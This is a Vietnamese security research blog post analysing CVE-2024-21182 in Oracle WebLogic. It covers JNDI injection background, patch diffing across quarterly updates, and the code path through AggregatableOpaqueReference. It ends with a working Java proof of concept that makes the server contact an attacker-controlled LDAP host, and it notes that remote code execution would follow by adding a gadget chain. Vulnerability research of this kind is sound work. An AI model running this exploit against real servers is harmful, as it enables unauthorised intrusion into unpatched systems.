# [CVE-2024-21182] Oracle WebLogic Server

Trong năm 2024 vừa qua, oracle weblogic liên tục bị cve liên quan đến IIOP/T3 protocol. Vậy nên mình cũng chọn 1 CVE trong đó để học hỏi, CVE mình chọn là CVE-2024-21182. Sau khi tìm hiểu thì các cve này liên quan đến 1 loại lỗ hổng tên là JNDI injection(tiền thân của log4shell).

Lý do chọn thì tất nhiên rồi, cảm ơn anh K4it0 đã rủ rê cũng như cung cấp cho thằng em đầy đủ các bản vá. Vậy JNDI injection là gì??

## JDNI injection

Đầu tiên, JNDI-Java Naming Directory Interface một interface cung cấp cho ta các API để tương tác với các Naming và Directory Service như LDAP, DNS, NIS, NDS, RMI và CORBA.

JNDI injection có thể dẫn rới các lỗ hổng tấn công liên quan đến RMI, LDAP. Log4shell cũng là 1 case study của JDNI injection.

Để tấn công JNDI injection cần phải để ý phiên bản JDK của target, với những phiên bản cao thì có những code exploit là vô dụng. Các lưu ý như sau:

* JDK &gt; 6u45, 7u21: Ở phiên bản này `java.rmi.server.useCodebaseOnly` được đặt mặt định là `true` nên tính năng load class từ xa của RMI bị vô hiệu, class chỉ được load khi nằm trong classpath hoặc được chi định bởi `java.rmi.server.codebase`
    
* JDK &gt; 6u141, 7u131, 8u121: Ở các phiên bản này `com.sun.jndi.rmi.object.trustURLCodebase` được giới thiệu và đặt mặc địch là false, khi đó RMI hay CORBA sẽ không được phép load class động từ bất kỳ URL nào mà phải từ classpath. Tuy nhiên ta có thể bypass bằng cách sử dụng URL với giao thức LDAP
    
* JDK &gt; 6u211, 7u201 và 8u191: Ở các phiên bản này option `com.sun.jndi.ldap.object.trustURLCodebase` được thêm vào và đặt mặc định là false, nó sẽ disable khả năng load class động của LDAP
    

Để tìm hiểu kĩ hơn về loại lỗ hổng này, bạn có thể đọc thêm bài viết cực kì chi tiết của [endy21](https://endy21.hashnode.dev/javasec-jndi-injection#heading-b-tan-cong-jndi-ldap).

## Dựng môi trường

Oracle sẽ public 1 bản Weblogic chung, sau đó cung cấp các bản vá theo từng quý rơi vào các tháng 1,4,7,…. Do đó chúng ta cần:

1. Weblogic Oracle 14.1.1.0.0: Nếu bạn cài đặt weblogic trên Windows, nhớ đặt đường dẫn JAVA không có khoảng trắng.
    
2. Bản vá tháng 4(trước khi vá CVE-2024-21182) và bản vá tháng 7(vá lỗ hổng CVE-2024-21182
    

### Setup Remote debug

\[[Bài viết này của oracle](https://www.oracle.com/application-development/technologies/jdeveloper/remotedebugwls.html)\] đã làm rất tốt những gì cần làm, tuy nhiên mình sẽ để thêm lệnh powershell lấy hết file jar của weblogic nếu bạn cần.

```powershell
mà$jarFiles = Get-ChildItem -Path "C:\Oracle\Middleware" -Recurse -Filter "*.jar"
$outputDir = "C:\Users\Admin\Desktop\Va thang 4"
$maxFilesPerFolder = 100

if (!(Test-Path $outputDir)) {
    New-Item -ItemType Directory -Path $outputDir | Out-Null
}

$folderIndex = 1
$fileCount = 0
$currentFolder = Join-Path $outputDir ("batch_" + $folderIndex)
New-Item -ItemType Directory -Path $currentFolder -Force | Out-Null

foreach ($jarFile in $jarFiles) {
    if ($fileCount -ge $maxFilesPerFolder) {
        $folderIndex++
        $fileCount = 0
        $currentFolder = Join-Path $outputDir ("batch_" + $folderIndex)
        New-Item -ItemType Directory -Path $currentFolder -Force | Out-Null
    }
    
    try {
        Copy-Item -Path $jarFile.FullName -Destination $currentFolder -ErrorAction Stop
        $fileCount++
    } catch {
        Write-Output "Skipping file: $($jarFile.FullName) - Reason: $($_.Exception.Message)"
    }
}

Write-Output "Copied $($jarFiles.Count) files into $folderIndex folders."
```

## Phân tích CVE

Để hiểu hơn về CVE-2024-21182, chúng ta sẽ đi qua 3 CVE là [CVE-2023-21839, CVE-2024-20931](https://g1asssy.com/2024/01/31/CVE_2024_20931/) và [CVE-2024-21006](https://pwnull.github.io/2024/oracle%20weblogic%20CVE-2024-21006%20Double-JNDInjection%20RCE%20analyze/)(3 cve cũng liên quan đến jndi injection). Mình sẽ tóm tắt lại ở phía dưới

### CVE-2023-21839 và CVE-2024-20931

CVE-2023-21839 và CVE-2024-20931 đều sẽ đi qua nhánh `else if (boundObject instanceof OpaqueReference)` dòng 75 trong `weblogic.jndi.internal.WLNamingManager#getObjectInstanc` bằng `ForeignOpaqueReference`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1740217202300/dd5234a7-6d7d-402c-9086-7a44b13e491a.png align="center")

Oracle đã đưa ra bản vá bằng cách kiểm tra `signature` và `timestamp` có khác với null hay không, nếu không sẽ đi qua 1 lớp kiểm tra xem các giá trị đó có hợp lệ hay không. Hiện tại thì mình thấy chỗ này kiểm tra không ổn lắm, tuy nhiên nó nhưng hơi loằng ngoằng, chưa liên quan đến CVE-2024-21182 nên mình sẽ tạm bỏ qua.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1740297769469/313a4ede-2459-400d-a458-a7b43ed8fe84.png align="center")

### CVE-2024-21006

CVE-2024-21006 thay vì chọn đi theo các nhánh else if phía trên sẽ đi thẳng tới return thông qua `MessageDestinationReference` , đọc thêm tại [CVE-2024-21006](https://pwnull.github.io/2024/oracle%20weblogic%20CVE-2024-21006%20Double-JNDInjection%20RCE%20analyze/)

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1740219150902/47935dd0-57bf-40cb-b82d-7d262bde1d35.png align="center")

Giờ hãy xem về cách vá của CVE-2024-21006.

Sau khi diff bản vá tháng 1 và tháng 4, mình và cộng sự ChatGPT đã tìm thấy 1 update nhỏ trong class `EnvReference`(đây là class mà class `MessageDestinationReference` kế thừa), là class `EnvReference` thêm phương thức `isValidEnvReferenceSignature` sử dụng cách kiểm tra tương tự CVE-2023-21839 và CVE-2024-20931

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1740219908763/8b1fa20a-be72-43ec-87e3-4faa99565acc.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1740223121355/c2449e76-bc1d-42c9-9099-73dd060cbdf8.png align="center")

Luồng kiểm tra sẽ như sau:

`BasicnamingNode` sẽ kiểm tra xem object đầu vào có an toàn hay không thông qua `JNDIUtils.isValidReferenceObject(obj, env);` , nếu an toàn thì mới cho phép đến `weblogic.jndi.internal.WLNamingManager#getObjectInstance` .

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1740223298818/e85a4a4b-8611-40ce-9a5b-c965bcd91c5e.png align="center")

`JNDIUtils.isValidReferenceObject(obj, env);` sẽ gọi đến phương thức `isValidEnvReferenceObject(resolvedObj)` để kiểm tra.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1740282800846/a5d68d05-f4f0-4496-bc6b-be51f2caefe8.png align="center")

`isValidEnvReferenceObject(resolvedObj)` sẽ gọi `checkIfValidReferenceSignature`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1740282883863/52c5d958-3685-4397-a763-98c62d3d3532.png align="center")

`checkIfValidReferenceSignature` sẽ thông qua phương thức `isValidEnvReferenceSignature` (được thêm vào `EnvReference` ở bản vá tháng 4)

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1740282947164/7b0f9811-ff97-4d41-b644-71e62e8b3600.png align="center")

Và tất nhiên với 1 đống điều kiện false phương thức `isValidEnvReferenceSignature` sẽ trả về false

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1740222792089/24cf5f56-95c1-41a0-a11a-b8667b47bc0e.png align="center")

Từ đó ứng dụng sẽ đi qua nhánh throw

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1740283088892/a1d4c713-b217-44b7-8086-4266b2a43b0a.png align="center")

### CVE-2024-21182

Có thể thấy có thể thấy các CVE IIOP/T3 trước nay đều đi qua `weblogic.jndi.internal.WLNamingManager#getObjectInstance` (wl mình đoán là weblogic, naming là naming trong từ jndi :"D). Tuy nhiên chưa hề thấy nhánh if được sử dụng để khai thác =&gt; có thể trong tương lai sẽ có lỗ hổng liên quan đến nhanh if của class này hay còn nói `boundObject` phải là 1 class triển khai interface `ClassTypeOpaqueReference`

Sau khi diff bản vá tháng 4 và tháng 7, mình đã nhờ cộng sự ChatGPT nhận dạng xem có cập nhật ở file jar nào liên quan đến giao tiếp jndi không thì nhận thấy bản vá tháng 7 chỉ có 2 cập nhật liên quan đến jndi là xóa log4j bản bị lỗ hổng log4shell, và thêm cập nhật ở class `AggregatableOpaqueReference` .

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1740229828862/b55d8834-1dea-46cf-a7b5-7b20ae2608ee.png align="center")

vừa hay `AggregatableOpaqueReference` triển khai interface `ClassTypeOpaqueReference` phù hợp với giả thuyết trước đó của mình.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1740230619255/323ab4b6-b8f8-4d9a-86a1-35d503609487.png align="center")

Thử giao tiếp jndi thông với class `AggregatableOpaqueReference` nhận thấy khong còn bị vào nhánh throw exception trong `JNDIUtils.isValidReferenceObject` và tới được `weblogic.jndi.internal.WLNamingManager#getObjectInstance`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1740230782666/7cfeba3e-b08a-4a09-b0ac-a0e04d6a0def.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1740230916203/330c7450-ad88-432a-a0d3-8ee05c183ce3.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1740231361166/bf982b9b-db3e-4ee1-947a-ac4fb3160fd1.png align="center")

Xem xét 2 nhánh if else ở dòng 68 và 70 trong `weblogic.jndi.internal.WLNamingManager#getObjectInstance`.

Nhánh if có vẻ sẽ trả về tên object referent

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1740231326923/4030f5e0-cb38-4209-9438-86a907e8a131.png align="center")

Nhánh else sẽ trả về object `referent`, đây là value trong 1 cặp key value của `serverIDToReferent`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1740231450808/c9586b9a-a1ee-44c3-bf0f-b50c0f3f4f9c.png align="center")

Sau đó `weblogic.jndi.internal.WLNamingManager#getObjectInstance` sẽ return luôn 1 trong 2 kết quả này tùy thuộc vào nhánh người dùng đi vào.

Ngoài ra ở cả bản vá tháng 4 và tháng 7 đều không động tới `MessageDestinationReference`, cũng như `MessageDestinationObjectFactory` =&gt; sẽ ra sao nếu ta khiến ứng dụng đi vào nhánh else dòng 70 với boundObject trả về là `MessageDestinationReference`?

Xem xét, file `AggregatableOpaqueReference`, nhận thấy chỉ có 2 cách để set giá trị cho `serverIDToReferent`: khởi tạo hoặc phương thức `onbind`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1740232060734/9c55d62b-71bf-4bb8-b559-8b23388e5d41.png align="center")

May mắn thay mỗi khi người dùng yêu cầu lookup 1 tài nguyên jndi từ weblogic, phương thức `bindhere` của `BasicNamingNode` sẽ được gọi

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1740283397843/0e422b2f-064e-49a1-93bd-c1318f541690.png align="center")

Sau đó`onbind` của `BasicNamingNode` sẽ gọi tới `onbind` của object bound(ở đây là `AggregatableOpaqueReference`)

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1740283495711/a990ff81-12c5-4d1c-82e0-a1904a02c604.png align="center")

\=&gt; chúng ta chỉ cần tạo 1 object `AggregatableOpaqueReference` với thuộc tính `referent` là `MessageDestinationReference` .

## POC CVE-2024-21182

Chỉ cần sửa lại POC của `CVE-2024-21006` 1 chút bằng cách cho `MessageDestinationReference` là thuộc tính referent của `AggregatableOpaqueReference`. Sau đó chúng ta lookup tới `AggregatableOpaqueReference` thay vì `MessageDestinationReference`

```java
import weblogic.ejb.container.internal.AggregatableOpaqueReference;
import weblogic.j2ee.descriptor.InjectionTargetBean;
import weblogic.j2ee.descriptor.MessageDestinationRefBean;
import weblogic.jndi.internal.ForeignOpaqueReference;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
import java.util.Random;

public class CVE_2024_21182 {

    public static void main(String args[]) throws Exception {
        String t3Url = "127.0.0.1:7001";
        String ldapUrl = "ldap://uuvvejaswiebqewjmxyi3qirqvgitjwok.oast.fun/a";
        Hashtable<String,String> env = new Hashtable<String,String>();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "weblogic.jndi.WLInitialContextFactory");
        env.put(Context.PROVIDER_URL,"iiop://"+t3Url );
        InitialContext c=new InitialContext(env);;
        weblogic.application.naming.MessageDestinationReference messageDestinationReference=new weblogic.application.naming.MessageDestinationReference(null, new MessageDestinationRefBean() {
            @Override
            public String[] getDescriptions() {
                return new String[0];
            }

            @Override
            public void addDescription(String s) {

            }

            @Override
            public void removeDescription(String s) {

            }

            @Override
            public void setDescriptions(String[] strings) {

            }

            @Override
            public String getMessageDestinationRefName() {
                return null;
            }

            @Override
            public void setMessageDestinationRefName(String s) {

            }

            @Override
            public String getMessageDestinationType() {
                return "weblogic.application.naming.MessageDestinationReference";
            }

            @Override
            public void setMessageDestinationType(String s) {

            }

            @Override
            public String getMessageDestinationUsage() {
                return null;
            }

            @Override
            public void setMessageDestinationUsage(String s) {

            }

            @Override
            public String getMessageDestinationLink() {
                return null;
            }

            @Override
            public void setMessageDestinationLink(String s) {

            }

            @Override
            public String getMappedName() {
                return null;
            }

            @Override
            public void setMappedName(String s) {

            }

            @Override
            public InjectionTargetBean[] getInjectionTargets() {
                return new InjectionTargetBean[0];
            }

            @Override
            public InjectionTargetBean createInjectionTarget() {
                return null;
            }

            @Override
            public void destroyInjectionTarget(InjectionTargetBean injectionTargetBean) {

            }


            public String getLookupName() {
                return null;
            }


            public void setLookupName(String s) {

            }

            @Override
            public String getId() {
                return null;
            }

            @Override
            public void setId(String s) {

            }
        }, String.format("%s", ldapUrl), null, null);


        AggregatableOpaqueReference f=new AggregatableOpaqueReference("s", "random", "random");
        Field ref = AggregatableOpaqueReference.class.getDeclaredField("referent");
        ref.setAccessible(true);
        ref.set(f,messageDestinationReference);

        String bindName = new Random(System.currentTimeMillis()).nextLong()+"";

        c.bind(bindName,f);
        c.lookup(bindName);

    }
}
```

Poc hoạt động thành công. Tuy nhiên mới dừng ở mức bắt weblogic yêu cầu tới ldap của attacker. Để RCE, chúng ta cần có thêm gadget chain và sẽ host cái object độc hại đó vào ldapurl thay cho `a`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1740283883882/71b57270-0ce5-4dc6-ba71-8a1a607198d8.png align="center")
